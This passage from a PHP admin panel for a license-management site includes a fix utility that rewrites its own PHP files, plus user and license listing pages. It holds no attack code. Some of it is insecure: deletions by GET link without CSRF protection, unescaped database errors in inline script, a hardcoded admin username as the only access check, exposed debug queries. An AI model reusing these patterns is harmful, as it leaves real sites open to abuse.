              border: 1px solid rgba(0, 255, 128, 0.3);
          }

          .label-warning {
              background: rgba(255, 165, 0, 0.15);
              color: #ffa500;
              border: 1px solid rgba(255, 165, 0, 0.3);
          }

          .label-danger {
              background: rgba(255, 67, 67, 0.15);
              color: #ff4343;
              border: 1px solid rgba(255, 67, 67, 0.3);
          }

          .btn-xs {
              padding: 4px 8px;
              font-size: 12px;
          }

          .btn-danger {
              background: transparent;
              border: 1px solid #ff4343;
              color: #ff4343;
          }

          .btn-danger:hover {
              background: rgba(255, 67, 67, 0.2);
          }
          </style>\';
      } else {
          echo \'<div class="cyber-notification">
              <i class="fas fa-info-circle"></i>
              <span>No users found in the database.</span>
          </div>\';
      }
      ?>';

                  // Save the new file
                  if (file_put_contents('get_users.php', $content)) {
                      $success = true;
                      $message = "get_users.php has been restored to a simplified working version.";

                      // Create delete_user.php if it doesn't exist
                      if (!file_exists('delete_user.php')) {
                          $delete_content = '<?php
      session_start();
      require_once("config.php");

      // Check if $condb is not defined, try including the parent directory config
      if (!isset($condb)) {
          require_once("../config.php");
      }

      // Check if user is admin
      if(!isset($_SESSION["username"]) || $_SESSION["username"] !== "cybervax") {
          header("Location: index.php");
          exit("Access denied");
      }

      // Check if ID is provided
      if(!isset($_GET["id"])) {
          header("Location: cyberok.php");
          exit("No ID provided");
      }

      $user_id = intval($_GET["id"]);

      // Don\'t allow deleting the admin account
      $check_admin = $condb->prepare("SELECT username FROM users WHERE id_user = ?");
      $check_admin->bind_param("i", $user_id);
      $check_admin->execute();
      $result = $check_admin->get_result();

      if($result && $result->num_rows > 0) {
          $user = $result->fetch_assoc();

          // Prevent deleting the admin user
          if($user["username"] === "cybervax") {
              echo "<script>alert(\'Cannot delete admin account\'); window.location.href=\'cyberok.php\';</script>";
              exit;
          }

          // Delete the user
          $delete_user = $condb->prepare("DELETE FROM users WHERE id_user = ?");
          $delete_user->bind_param("i", $user_id);

          if($delete_user->execute()) {
              echo "<script>alert(\'User deleted successfully\'); window.location.href=\'cyberok.php\';</script>";
          } else {
              echo "<script>alert(\'Error deleting user: " . $condb->error . "\'); window.location.href=\'cyberok.php\';</script>";
          }

          $delete_user->close();
      } else {
          echo "<script>alert(\'User not found\'); window.location.href=\'cyberok.php\';</script>";
      }

      $check_admin->close();
      ?>';
                          file_put_contents('delete_user.php', $delete_content);
                          $message .= "<br>Also created delete_user.php for user deletion functionality.";
                      }
                  } else {
                      $error = "Failed to write to get_users.php. Check file permissions.";
                  }
              } else if ($action === 'Fix Database Columns') {
                  // Check if license_expiry column exists
                  $checkColumn = $condb->query("SHOW COLUMNS FROM users LIKE 'license_expiry'");

                  if (!$checkColumn || $checkColumn->num_rows == 0) {
                      // We don't have permission to ALTER the table
                      $message .= "You don't have permission to add columns to the database. ";
                      $message .= "Please contact your database administrator to add the 'license_expiry' column manually.<br>";
                      $message .= "SQL needed: ALTER TABLE users ADD COLUMN license_expiry DATETIME NULL DEFAULT NULL AFTER license_start<br>";
                      $success = false;
                      $error = "Insufficient database privileges. Cannot ALTER table structure.";
                  } else {
                      $message .= "license_expiry column already exists.<br>";
                      $success = true;

                      // Fix NULL license_start values - this should work without ALTER privileges
                      if ($condb->query("UPDATE users SET license_start = NOW() WHERE license_start IS NULL")) {
                          $message .= "Fixed NULL license_start values.<br>";
                      }

                      // Make sure users with NULL license_expiry have active status
                      if ($condb->query("UPDATE users SET license_status = 'active' WHERE license_expiry IS NULL")) {
                          $message .= "Updated status for lifetime users.<br>";
                      }
                  }
              } else if ($action === 'Use Basic Mode') {
                  // This mode simplifies the entire admin interface for maximum compatibility
                  $success = true;
                  $message = "Basic Mode enabled! The admin interface has been simplified.";

                  // Backup and restore get_users.php (reuse existing code)
                  if (file_exists('get_users.php')) {
                      copy('get_users.php', 'get_users_backup_basic_' . date('Y-m-d_H-i-s') . '.php');
                  }

                  // Create a simple get_users.php (already defined above)
                  file_put_contents('get_users.php', $content);

                  // Create delete_user.php if it doesn't exist (reusing code above)
                  if (!file_exists('delete_user.php')) {
                      file_put_contents('delete_user.php', $delete_content);
                  }

                  // Create a flag file to indicate basic mode is active
                  file_put_contents('.basic_mode', 'enabled');

                  $message .= "<br>Basic mode is now active. All advanced features have been disabled for maximum compatibility.";
              }
          }
      }

      // HTML output
      ?>
      <!DOCTYPE html>
      <html>
      <head>
          <title>Admin Panel Fix Utility</title>
          <style>
              body {
                  background: #0a0a0f;
                  color: #ffffff;
                  font-family: Arial, sans-serif;
                  margin: 0;
                  padding: 20px;
              }

              .container {
                  max-width: 800px;
                  margin: 0 auto;
                  background: rgba(19, 19, 31, 0.85);
                  border-radius: 15px;
                  padding: 20px;
                  box-shadow: 0 0 30px rgba(0, 0, 0, 0.3);
                  border: 1px solid rgba(0, 255, 255, 0.2);
              }

              h1 {
                  color: #00f3ff;
                  text-align: center;
                  margin-top: 0;
              }

              .message {
                  padding: 15px;
                  border-radius: 5px;
                  margin-bottom: 20px;
              }

              .success {
                  background: rgba(0, 255, 128, 0.1);
                  border: 1px solid rgba(0, 255, 128, 0.3);
                  color: #00ff80;
              }

              .error {
                  background: rgba(255, 67, 67, 0.1);
                  border: 1px solid rgba(255, 67, 67, 0.3);
                  color: #ff4343;
              }

              .actions {
                  display: flex;
                  justify-content: center;
                  gap: 15px;
                  margin-top: 30px;
              }

              .btn {
                  background: transparent;
                  border: 2px solid #00f3ff;
                  color: #00f3ff;
                  padding: 10px 20px;
                  border-radius: 5px;
                  cursor: pointer;
                  font-weight: bold;
                  text-decoration: none;
                  display: inline-block;
                  transition: all 0.3s ease;
              }

              .btn:hover {
                  background: #00f3ff;
                  color: #0a0a0f;
                  transform: translateY(-2px);
              }
          </style>
      </head>
      <body>
          <div class="container">
              <h1>Admin Panel Fix Utility</h1>

              <?php if ($success): ?>
              <div class="message success">
                  <?php echo $message; ?>
              </div>
              <?php elseif (!empty($error)): ?>
              <div class="message error">
                  <?php echo $error; ?>
              </div>
              <?php endif; ?>

              <p>This utility can help restore functionality to the admin panel if you're experiencing issues.</p>

              <p>Available fixes:</p>
              <ul>
                  <li><strong>Restore Default get_users.php</strong>: Creates a simplified version of the file that should work correctly.</li>
                  <li><strong>Fix Database Columns</strong>: Adds missing columns and fixes NULL values in the database.</li>
                  <li><strong>Use Basic Mode</strong>: Simplifies the entire admin interface for maximum compatibility.</li>
              </ul>

              <form method="POST" action="">
                  <div class="actions">
                      <input type="submit" name="fix_action" value="Restore Default get_users.php" class="btn">
                      <input type="submit" name="fix_action" value="Fix Database Columns" class="btn">
                      <input type="submit" name="fix_action" value="Use Basic Mode" class="btn">
                      <a href="cyberok.php" class="btn">Return to Admin Panel</a>
                  </div>
              </form>
          </div>
      </body>
      </html>

- .\Panel\get_licenses.php - View Code

      <?php
      session_start();
      require_once("config.php");

      // Check if $condb is not defined, try including the parent directory config
      if (!isset($condb)) {
          require_once("../config.php");
      }

      // Final check if $condb is still not defined
      if (!isset($condb)) {
          echo '<div class="cyber-notification" style="background-color: rgba(255,0,0,0.1); color: #ff4444; border: 1px solid rgba(255,0,0,0.2);">
              <i class="fas fa-exclamation-triangle"></i>
              <span>Database connection error. Please check your configuration.</span>
          </div>';
          exit;
      }

      // Check if user is logged in and is cybervax (admin)
      if(!isset($_SESSION['username']) || $_SESSION['username'] !== 'cybervax') {
          echo '<div class="cyber-notification" style="background-color: rgba(255,0,0,0.1); color: #ff4444; border: 1px solid rgba(255,0,0,0.2);">
              <i class="fas fa-exclamation-triangle"></i>
              <span>Access Denied</span>
          </div>';
          exit;
      }

      // Get all users with license info
      $licenses_query = "SELECT id_user, username, license_status, license_start, license_expiry, telegram
                        FROM users
                        ORDER BY license_status, license_expiry";
      $licenses_result = mysqli_query($condb, $licenses_query);

      if (mysqli_num_rows($licenses_result) > 0) {
          // Output HTML table with licenses
          echo '<div class="license-tools">
              <form method="POST" action="extend_licenses.php" class="license-form">
                  <div class="form-group">
                      <label>Bulk Action</label>
                      <select name="bulk_action" class="form-control">
                          <option value="extend_30">Extend by 30 Days</option>
                          <option value="extend_90">Extend by 90 Days</option>
                          <option value="extend_180">Extend by 180 Days</option>
                          <option value="extend_365">Extend by 1 Year</option>
                          <option value="activate">Activate</option>
                          <option value="suspend">Suspend</option>
                          <option value="expire">Expire</option>
                      </select>
                  </div>
                  <button type="submit" class="btn btn-primary bulk-action-btn">Apply to Selected</button>
              </form>
          </div>';

          echo '<div class="table-responsive">
              <table class="table table-hover">
                  <thead>
                      <tr>
                          <th><input type="checkbox" id="select-all"></th>
                          <th>ID</th>
                          <th>Username</th>
                          <th>Status</th>
                          <th>Start Date</th>
                          <th>Expiry Date</th>
                          <th>Days Left</th>
                          <th>Actions</th>
                      </tr>
                  </thead>
                  <tbody>';

          while ($license = mysqli_fetch_assoc($licenses_result)) {
              // Determine status class for coloring
              $status_class = '';
              switch ($license['license_status']) {
                  case 'active':
                      $status_class = 'success';
                      break;
                  case 'suspended':
                      $status_class = 'warning';
                      break;
                  case 'expired':
                      $status_class = 'danger';
                      break;
                  default:
                      $status_class = 'secondary';
              }

              // Calculate days left
              $days_left = '';
              $days_left_class = '';

              if ($license['license_expiry'] === NULL) {
                  $days_left = '<span style="color:#00ff80;">Γê₧</span>'; // Infinity symbol for lifetime
                  $days_left_class = 'lifetime';
              } else {
                  $now = new DateTime();
                  $expiry = new DateTime($license['license_expiry']);
                  $interval = $now->diff($expiry);

                  if ($expiry < $now) {
                      $days_left = '<span style="color:#ff4343;">Expired</span>';
                      $days_left_class = 'expired';
                  } else {
                      $days_left = $interval->format('%a days');

                      // Add color based on days left
                      if ($interval->days <= 3) {
                          $days_left = '<span style="color:#ff4343;">' . $days_left . '</span>';
                          $days_left_class = 'critical';
                      } else if ($interval->days <= 7) {
                          $days_left = '<span style="color:#ffa500;">' . $days_left . '</span>';
                          $days_left_class = 'warning';
                      } else {
                          $days_left = '<span style="color:#00ff80;">' . $days_left . '</span>';
                          $days_left_class = 'good';
                      }
                  }
              }

              echo '<tr class="license-row ' . $days_left_class . '">
                  <td><input type="checkbox" name="selected_users[]" value="' . $license['id_user'] . '" class="user-select"></td>
                  <td>' . $license['id_user'] . '</td>
                  <td>' . htmlspecialchars($license['username']) . '</td>
                  <td><span class="label label-' . $status_class . '">' . ucfirst($license['license_status']) . '</span></td>
                  <td>' . ($license['license_start'] ? date('Y-m-d', strtotime($license['license_start'])) : 'N/A') . '</td>
                  <td>' . ($license['license_expiry'] ? date('Y-m-d', strtotime($license['license_expiry'])) : '<span style="color:#00ff80;">Γê₧</span>') . '</td>
                  <td>' . $days_left . '</td>
                  <td>
                      <div class="license-actions">
                          <a href="extend_license.php?id=' . $license['id_user'] . '&days=30" class="btn btn-xs btn-primary"><i class="fas fa-plus-circle"></i> 30d</a>
                          <a href="extend_license.php?id=' . $license['id_user'] . '&days=90" class="btn btn-xs btn-primary"><i class="fas fa-plus-circle"></i> 90d</a>
                          <a href="edit_user.php?id=' . $license['id_user'] . '" class="btn btn-xs btn-primary"><i class="fas fa-edit"></i> Edit</a>
                      </div>
                  </td>
              </tr>';
          }

          echo '</tbody>
              </table>
          </div>';

          // Add JavaScript for checkboxes
          echo '<script>
          document.addEventListener("DOMContentLoaded", function() {
              const selectAll = document.getElementById("select-all");
              const userCheckboxes = document.querySelectorAll(".user-select");

              selectAll.addEventListener("change", function() {
                  userCheckboxes.forEach(checkbox => {
                      checkbox.checked = selectAll.checked;
                  });
              });

              // Add checkboxes to form submission
              const licenseForm = document.querySelector(".license-form");
              const bulkActionBtn = document.querySelector(".bulk-action-btn");

              bulkActionBtn.addEventListener("click", function(e) {
                  e.preventDefault();

                  const selectedUsers = [];
                  userCheckboxes.forEach(checkbox => {
                      if (checkbox.checked) {
                          selectedUsers.push(checkbox.value);
                      }
                  });

                  if (selectedUsers.length === 0) {
                      alert("Please select at least one user.");
                      return;
                  }

                  // Add selected users to form and submit
                  const bulkAction = licenseForm.querySelector("select[name=bulk_action]").value;

                  // Create form data
                  const formData = new FormData();
                  formData.append("bulk_action", bulkAction);
                  selectedUsers.forEach(userId => {
                      formData.append("selected_users[]", userId);
                  });

                  // Submit with fetch
                  fetch("extend_licenses.php", {
                      method: "POST",
                      body: formData
                  })
                  .then(response => response.text())
                  .then(data => {
                      // Reload licenses after action
                      loadLicenses();
                      alert("Action completed successfully!");
                  })
                  .catch(error => {
                      alert("Error: " + error.message);
                  });
              });
          });
          </script>';

          // Add styling for license management
          echo '<style>
          .license-tools {
              display: flex;
              justify-content: space-between;
              align-items: center;
              margin-bottom: 20px;
              background: rgba(19, 19, 31, 0.85);
              border: 1px solid rgba(0, 255, 255, 0.2);
              border-radius: 15px;
              padding: 20px;
          }

          .license-form {
              display: flex;
              align-items: center;
              gap: 15px;
          }

          .license-form .form-group {
              margin-bottom: 0;
              min-width: 200px;
          }

          .license-actions {
              display: flex;
              gap: 5px;
              flex-wrap: wrap;
          }

          .license-row.expired {
              background-color: rgba(255, 67, 67, 0.05);
          }

          .license-row.critical {
              background-color: rgba(255, 67, 67, 0.03);
          }

          .license-row.warning {
              background-color: rgba(255, 165, 0, 0.03);
          }

          .license-row.lifetime {
              background-color: rgba(0, 255, 128, 0.05);
          }
          </style>';
      } else {
          echo '<div class="cyber-notification">
              <i class="fas fa-info-circle"></i>
              <span>No licenses found in the database.</span>
          </div>';
      }
      ?>

- .\Panel\get_users.php - View Code

      <?php
      session_start();
      error_reporting(E_ALL);
      ini_set("display_errors", 0);

      require_once("config.php");

      // Check if $condb is not defined, try including the parent directory config
      if (!isset($condb)) {
          require_once("../config.php");
      }

      // Check if user is logged in and is admin
      if(!isset($_SESSION['username']) || $_SESSION['username'] !== 'cybervax') {
          echo '<div class="cyber-notification" style="background-color: rgba(255,0,0,0.1); color: #ff4444; border: 1px solid rgba(255,0,0,0.2);">
              <i class="fas fa-exclamation-triangle"></i>
              <span>Access Denied</span>
          </div>';
          exit;
      }

      // Check if the license_expiry column exists but don't require it
      $checkColumn = $condb->query("SHOW COLUMNS FROM users LIKE 'license_expiry'");
      $hasLicenseExpiry = ($checkColumn && $checkColumn->num_rows > 0);

      // Get all users
      if ($hasLicenseExpiry) {
          $users_query = "SELECT id_user, username, license_status, license_start, license_expiry FROM users ORDER BY id_user";
      } else {
          $users_query = "SELECT id_user, username, license_status, license_start FROM users ORDER BY id_user";
      }

      $users_result = mysqli_query($condb, $users_query);

      if (!$users_result) {
          echo '<div class="cyber-notification" style="background-color: rgba(255,0,0,0.1); color: #ff4444; border: 1px solid rgba(255,0,0,0.2);">
              <i class="fas fa-exclamation-triangle"></i>
              <span>Error querying users: ' . mysqli_error($condb) . '</span>
          </div>';
          exit;
      }

      if (mysqli_num_rows($users_result) > 0) {
          // Output HTML table with users
          echo '<div class="license-tools">
              <form method="POST" action="user_actions.php" class="license-form">
                  <div class="form-group">
                      <label>Bulk Action</label>
                      <select name="bulk_action" class="form-control">
                          <option value="activate">Activate License</option>
                          <option value="suspend">Suspend License</option>
                          <option value="expire">Expire License</option>
                          <option value="delete">Delete Users</option>
                      </select>
                  </div>
                  <button type="submit" class="btn btn-primary bulk-action-btn">Apply to Selected</button>
              </form>
          </div>';

          echo '<div class="table-responsive">
              <table class="table table-hover">
                  <thead>
                      <tr>
                          <th><input type="checkbox" id="select-all"></th>
                          <th>ID</th>
                          <th>Username</th>
                          <th>Status</th>
                          <th>Start Date</th>
                          <th>Expiry Date</th>
                          <th>Actions</th>
                      </tr>
                  </thead>
                  <tbody>';

          while ($user = mysqli_fetch_assoc($users_result)) {
              // Determine status class for coloring
              $status_class = '';
              switch ($user['license_status']) {
                  case 'active':
                      $status_class = 'success';
                      break;
                  case 'suspended':
                      $status_class = 'warning';
                      break;
                  case 'expired':
                      $status_class = 'danger';
                      break;
                  default:
                      $status_class = 'secondary';
              }

              // Format expiry date
              $expiry_date_formatted = 'N/A';
              if ($hasLicenseExpiry && isset($user['license_expiry'])) {
                  if ($user['license_expiry'] === NULL) {
                      $expiry_date_formatted = '<span style="color:#00ff80;">Γê₧ Lifetime</span>';
                  } else if (!empty($user['license_expiry'])) {
                      $expiry_date_formatted = date('Y-m-d', strtotime($user['license_expiry']));
                  }
              }

              echo '<tr>
                  <td><input type="checkbox" name="selected_users[]" value="' . $user['id_user'] . '" class="user-select"></td>
                  <td>' . $user['id_user'] . '</td>
                  <td>' . htmlspecialchars($user['username']) . '</td>
                  <td><span class="label label-' . $status_class . '">' . ucfirst($user['license_status']) . '</span></td>
                  <td>' . ($user['license_start'] ? date('Y-m-d', strtotime($user['license_start'])) : 'N/A') . '</td>
                  <td>' . $expiry_date_formatted . '</td>
                  <td>
                      <div class="user-actions">
                          <form class="quick-extend-form" method="post" action="quick_extend.php">
                              <input type="hidden" name="user_id" value="' . $user['id_user'] . '">
                              <div class="input-group input-group-sm">
                                  <input type="number" name="days" class="form-control quick-extend-input" min="1" value="30" title="Number of days to extend">
                                  <span class="input-group-btn">
                                      <button type="submit" class="btn btn-xs btn-success"><i class="fas fa-sync-alt"></i> Extend</button>
                                  </span>
                              </div>
                          </form>
                          <a href="suspend_license.php?id=' . $user['id_user'] . '" class="btn btn-xs btn-warning"><i class="fas fa-ban"></i> Suspend</a>
                          <button class="btn btn-xs btn-danger" onclick="if(confirm(\'Are you sure you want to delete this user?\')) window.location.href=\'delete_user.php?id=' . $user['id_user'] . '\';"><i class="fas fa-trash"></i> Delete</button>
                      </div>
                  </td>
              </tr>';
          }

          echo '</tbody>
              </table>
          </div>';

          // Add JavaScript for checkboxes
          echo '<script>
          document.addEventListener("DOMContentLoaded", function() {
              const selectAll = document.getElementById("select-all");
              const userCheckboxes = document.querySelectorAll(".user-select");

              selectAll.addEventListener("change", function() {
                  userCheckboxes.forEach(checkbox => {
                      checkbox.checked = selectAll.checked;
                  });
              });
          });
          </script>';

          // Add styling
          echo '<style>
          .license-tools {
              display: flex;
              justify-content: space-between;
              align-items: center;
              margin-bottom: 20px;
              background: rgba(19, 19, 31, 0.85);
              border: 1px solid rgba(0, 255, 255, 0.2);
              border-radius: 15px;
              padding: 20px;
          }

          .license-form {
              display: flex;
              align-items: center;
              gap: 15px;
          }

          .license-form .form-group {
              margin-bottom: 0;
              min-width: 200px;
          }

          .user-actions {
              display: flex;
              gap: 5px;
              flex-wrap: wrap;
              align-items: center;
          }

          .label {
              display: inline-block;
              padding: 4px 8px;
              border-radius: 4px;
              font-size: 12px;
          }

          .label-success {
              background: rgba(0, 255, 128, 0.15);
              color: #00ff80;
              border: 1px solid rgba(0, 255, 128, 0.3);
          }

          .label-warning {
              background: rgba(255, 165, 0, 0.15);
              color: #ffa500;
              border: 1px solid rgba(255, 165, 0, 0.3);
          }

          .label-danger {
              background: rgba(255, 67, 67, 0.15);
              color: #ff4343;
              border: 1px solid rgba(255, 67, 67, 0.3);
          }

          .btn-xs {
              padding: 4px 8px;
              font-size: 12px;
          }

          .btn-danger {
              background: transparent;
              border: 1px solid #ff4343;
              color: #ff4343;
          }

          .btn-danger:hover {
              background: rgba(255, 67, 67, 0.2);
          }

          .btn-success {
              background: transparent;
              border: 1px solid #00ff80;
              color: #00ff80;
          }

          .btn-success:hover {
              background: rgba(0, 255, 128, 0.2);
          }

          .btn-warning {
              background: transparent;
              border: 1px solid #ffa500;
              color: #ffa500;
          }

          .btn-warning:hover {
              background: rgba(255, 165, 0, 0.2);
          }

          /* Debug */
          .debug-info {
              background: rgba(0, 0, 0, 0.7);
              color: #00ff00;
              padding: 10px;
              margin-top: 20px;
              border-radius: 5px;
              font-family: monospace;
              white-space: pre;
              display: none;
          }

          .quick-extend-form {
              display: inline-block;
              margin-right: 5px;
              vertical-align: middle;
          }

          .quick-extend-input {
              width: 60px !important;
              display: inline-block;
              height: 26px;
              padding: 2px 5px;
              font-size: 12px;
              border-radius: 3px;
              background: rgba(0, 0, 0, 0.2);
              border: 1px solid rgba(0, 255, 255, 0.2);
              color: #fff;
          }

          .input-group-sm {
              display: flex;
              width: auto;
          }

          .input-group-btn {
              display: inline-block;
          }
          </style>';

          // Add debug info
          echo '<div class="debug-info" id="debug-info">
      Column check: ' . ($hasLicenseExpiry ? 'Has license_expiry column' : 'No license_expiry column') . '
      User query: ' . htmlspecialchars($users_query) . '
      </div>';

          // Add debug toggle button
          echo '<button id="toggle-debug" onclick="document.getElementById(\'debug-info\').style.display = document.getElementById(\'debug-info\').style.display === \'none\' ? \'block\' : \'none\';" style="position: fixed; bottom: 10px; right: 10px; background: #000; color: #0f0; border: 1px solid #0f0; border-radius: 5px; padding: 5px 10px; cursor: pointer; z-index: 9999;">Debug</button>';
      } else {
          echo '<div class="cyber-notification">
              <i class="fas fa-info-circle"></i>
              <span>No users found in the database.</span>
          </div>';
      }
      ?>

- .\Panel\get_users_backup_2025-05-15_15-50-01.php - View Code

      <?php
      session_start();
      require_once("config.php");

      // Check if $condb is not defined, try including the parent directory config
      if (!isset($condb)) {
          require_once("../config.php");
      }

      // Final check if $condb is still not defined
      if (!isset($condb)) {
          echo '<div class="cyber-notification" style="background-color: rgba(255,0,0,0.1); color: #ff4444; border: 1px solid rgba(255,0,0,0.2);">
              <i class="fas fa-exclamation-triangle"></i>
              <span>Database connection error. Please check your configuration.</span>
          </div>';
          exit;
      }

      // Check if user is logged in and is cybervax (admin)
      if(!isset($_SESSION['username']) || $_SESSION['username'] !== 'cybervax') {
          echo '<div class="cyber-notification" style="background-color: rgba(255,0,0,0.1); color: #ff4444; border: 1px solid rgba(255,0,0,0.2);">
              <i class="fas fa-exclamation-triangle"></i>
              <span>Access Denied</span>
          </div>';
          exit;
      }

      // Check if license_expiry column exists
      $checkColumn = $condb->query("SHOW COLUMNS FROM users LIKE 'license_expiry'");
      $licenseExpiryExists = ($checkColumn && $checkColumn->num_rows > 0);

      // Force to true for troubleshooting - we know the column should exist
      $licenseExpiryExists = true;

      // Add debug info at the top
      echo '<div style="background: rgba(0,0,0,0.7); color: #00ff00; padding: 10px; margin-bottom: 15px; border-radius: 5px; font-family: monospace; font-size: 12px; white-space: pre-wrap; overflow: auto; max-height: 200px; display: none;" id="debug-info">
      Debug: license_expiry check result: ' . ($licenseExpiryExists ? 'true' : 'false') . "\n";
      if ($checkColumn) {
          echo 'Debug: checkColumn num_rows: ' . $checkColumn->num_rows . "\n";
      } else {
          echo 'Debug: checkColumn query failed' . "\n";
      }

      // Get all users with available information
      $users_query = "SELECT id_user, username, license_status, license_start, license_expiry FROM users ORDER BY id_user";

      echo 'Debug: SQL Query: ' . htmlspecialchars($users_query) . "\n";

      $users_result = mysqli_query($condb, $users_query);
      if (!$users_result) {
          echo 'Debug: SQL Error: ' . mysqli_error($condb) . "\n";
      }

      echo 'Debug: Fetched ' . mysqli_num_rows($users_result) . ' user records';
      echo '</div>';

      // Add a button to toggle debug info
      echo '<button type="button" id="toggle-debug" style="position: fixed; bottom: 10px; right: 10px; z-index: 9999; background: #333; color: #00ff00; border: 1px solid #00ff00; padding: 5px 10px; border-radius: 5px; cursor: pointer;">Debug</button>';

      if (mysqli_num_rows($users_result) > 0) {
          // Output HTML table with users
          echo '<div class="license-tools">
              <form method="POST" action="user_actions.php" class="license-form">
                  <div class="form-group">
                      <label>Bulk Action</label>
                      <select name="bulk_action" class="form-control">
                          <option value="activate">Activate License</option>
                          <option value="suspend">Suspend License</option>
                          <option value="expire">Expire License</option>
                          <option value="delete">Delete Users</option>
                      </select>
                  </div>
                  <button type="submit" class="btn btn-primary bulk-action-btn">Apply to Selected</button>
              </form>
          </div>';

          echo '<div class="table-responsive">
              <table class="table table-hover">
                  <thead>
                      <tr>
                          <th><input type="checkbox" id="select-all"></th>
                          <th>ID</th>
                          <th>Username</th>
                          <th>Status</th>
                          <th>Start Date</th>
                          <th>Expiry Date</th>
                          <th>Time Left</th>
                          <th>Actions</th>
                      </tr>
                  </thead>
                  <tbody>';

          while ($user = mysqli_fetch_assoc($users_result)) {
              // Add debug info for each user
              echo '<script>console.log("Processing user: ", ' . json_encode($user) . ');</script>';

              // Determine status class for coloring
              $status_class = '';
              switch ($user['license_status']) {
                  case 'active':
                      $status_class = 'success';
                      break;
                  case 'suspended':
                      $status_class = 'warning';
                      break;
                  case 'expired':
                      $status_class = 'danger';
                      break;
                  default:
                      $status_class = 'secondary';
              }

              // Calculate days left if license_expiry exists
              $days_left = '';
              $days_left_class = '';
              $expiry_date_formatted = 'N/A';

              // Check specifically for NULL value (isset won't work for NULL)
              if ($user['license_expiry'] === NULL) {
                  $days_left = '<span style="color:#00ff80;">Γê₧ Lifetime</span>';
                  $days_left_class = 'lifetime';
                  $expiry_date_formatted = '<span style="color:#00ff80;">Γê₧</span>';
              } else if (!empty($user['license_expiry'])) {
                  $now = new DateTime();
                  $expiry = new DateTime($user['license_expiry']);
                  $interval = $now->diff($expiry);
                  $expiry_date_formatted = date('Y-m-d', strtotime($user['license_expiry']));

                  if ($expiry < $now) {
                      $days_left = '<span style="color:#ff4343;">Expired</span>';
                      $days_left_class = 'expired';
                  } else {
                      $days_left = $interval->format('%a days');

                      // Add color based on days left
                      if ($interval->days <= 3) {
                          $days_left = '<span style="color:#ff4343;">' . $days_left . '</span>';
                          $days_left_class = 'critical';
                      } else if ($interval->days <= 7) {
                          $days_left = '<span style="color:#ffa500;">' . $days_left . '</span>';
                          $days_left_class = 'warning';
                      } else {
                          $days_left = '<span style="color:#00ff80;">' . $days_left . '</span>';
                          $days_left_class = 'good';
                      }
                  }
              } else {
                  // Handle empty but not NULL values
                  $days_left = '<span style="color:#00ff80;">Γê₧ Lifetime</span>';
                  $days_left_class = 'lifetime';
                  $expiry_date_formatted = '<span style="color:#00ff80;">Γê₧</span>';
              }

              echo '<tr class="license-row ' . $days_left_class . '">
                  <td><input type="checkbox" name="selected_users[]" value="' . $user['id_user'] . '" class="user-select"></td>
                  <td>' . $user['id_user'] . '</td>
                  <td>' . htmlspecialchars($user['username']) . '</td>
                  <td><span class="label label-' . $status_class . '">' . ucfirst($user['license_status']) . '</span></td>
                  <td>' . ($user['license_start'] ? date('Y-m-d', strtotime($user['license_start'])) : 'N/A') . '</td>
                  <td>' . $expiry_date_formatted . '</td>
                  <td>' . $days_left . '</td>
                  <td>
                      <div class="user-actions">
                          <div class="license-extend-box">
                              <input type="number" min="1" max="9999" value="30" class="extend-days" id="days-' . $user['id_user'] . '">
                              <button onclick="extendLicense(' . $user['id_user'] . ')" class="btn btn-xs btn-primary extend-btn"><i class="fas fa-plus-circle"></i> Extend</button>
                              <button onclick="setLifetime(' . $user['id_user'] . ')" class="btn btn-xs btn-success"><i class="fas fa-infinity"></i> Lifetime</button>
                          </div>
                          <button class="btn btn-xs btn-danger" onclick="confirmDelete(' . $user['id_user'] . ')"><i class="fas fa-trash"></i> Delete</button>
                      </div>
                  </td>
              </tr>';
          }

          echo '</tbody>
              </table>
          </div>';

          // Add JavaScript using HEREDOC to avoid escaping issues
          echo <<<EOT
      <script>
      document.addEventListener('DOMContentLoaded', function() {
          // Debug toggle button
          const toggleDebug = document.getElementById('toggle-debug');
          const debugInfo = document.getElementById('debug-info');

          if (toggleDebug && debugInfo) {
              toggleDebug.addEventListener('click', function() {
                  if (debugInfo.style.display === 'none') {
                      debugInfo.style.display = 'block';
                      toggleDebug.innerHTML = 'Hide Debug';
                  } else {
                      debugInfo.style.display = 'none';
                      toggleDebug.innerHTML = 'Debug';
                  }
              });
          }

          const selectAll = document.getElementById('select-all');
          const userCheckboxes = document.querySelectorAll('.user-select');

          selectAll.addEventListener('change', function() {
              userCheckboxes.forEach(checkbox => {
                  checkbox.checked = selectAll.checked;
              });
          });

          // Add checkboxes to form submission
          const actionForm = document.querySelector('.license-form');
          const bulkActionBtn = document.querySelector('.bulk-action-btn');

          bulkActionBtn.addEventListener('click', function(e) {
              e.preventDefault();

              const selectedUsers = [];
              userCheckboxes.forEach(checkbox => {
                  if (checkbox.checked) {
                      selectedUsers.push(checkbox.value);
                  }
              });

              if (selectedUsers.length === 0) {
                  alert('Please select at least one user.');
                  return;
              }

              const bulkAction = actionForm.querySelector('select[name=bulk_action]').value;

              // Confirm deletion
              if (bulkAction === 'delete' && !confirm('Are you sure you want to delete the selected users?')) {
                  return;
              }

              // Create form data
              const formData = new FormData();
              formData.append('bulk_action', bulkAction);
              selectedUsers.forEach(userId => {
                  formData.append('selected_users[]', userId);
              });

              // Submit with fetch
              fetch('user_actions.php', {
                  method: 'POST',
                  body: formData
              })
              .then(response => response.text())
              .then(data => {
                  // Reload users after action
                  if (typeof parent.loadUsers === 'function') {
                      parent.loadUsers();
                  } else {
                      location.reload();
                  }
                  alert('Action completed successfully!');
              })
              .catch(error => {
                  alert('Error: ' + error.message);
              });
          });
      });

      function confirmDelete(userId) {
          if (confirm('Are you sure you want to delete this user?')) {
              // Delete via AJAX
              const formData = new FormData();
              formData.append('user_id', userId);
              formData.append('action', 'delete');

              fetch('user_actions.php', {
                  method: 'POST',
                  body: formData
              })
              .then(response => response.json())
              .then(data => {
                  if (data.success) {
                      // Check if we're in an iframe or directly on the page
                      if (typeof parent.loadUsers === 'function') {
                          parent.loadUsers();
                      } else {
                          location.reload();
                      }
                      alert('User deleted successfully!');
                  } else {
                      alert('Error: ' + data.message);
                  }
              })
              .catch(error => {
                  alert('Error: ' + error.message);
              });
          }
      }

      function extendLicense(userId) {
          const daysInput = document.getElementById('days-' + userId);
          if (daysInput) {
              const days = parseInt(daysInput.value);
              if (days > 0) {
                  // Create form data
                  const formData = new FormData();
                  formData.append('user_id', userId);
                  formData.append('days', days);

                  // Show loading indicator
                  daysInput.disabled = true;
                  const extendBtn = daysInput.nextElementSibling;
                  const originalBtnText = extendBtn.innerHTML;
                  extendBtn.innerHTML = '<i class="fas fa-spinner fa-spin"></i> Extending...';
                  extendBtn.disabled = true;

                  // Submit with fetch
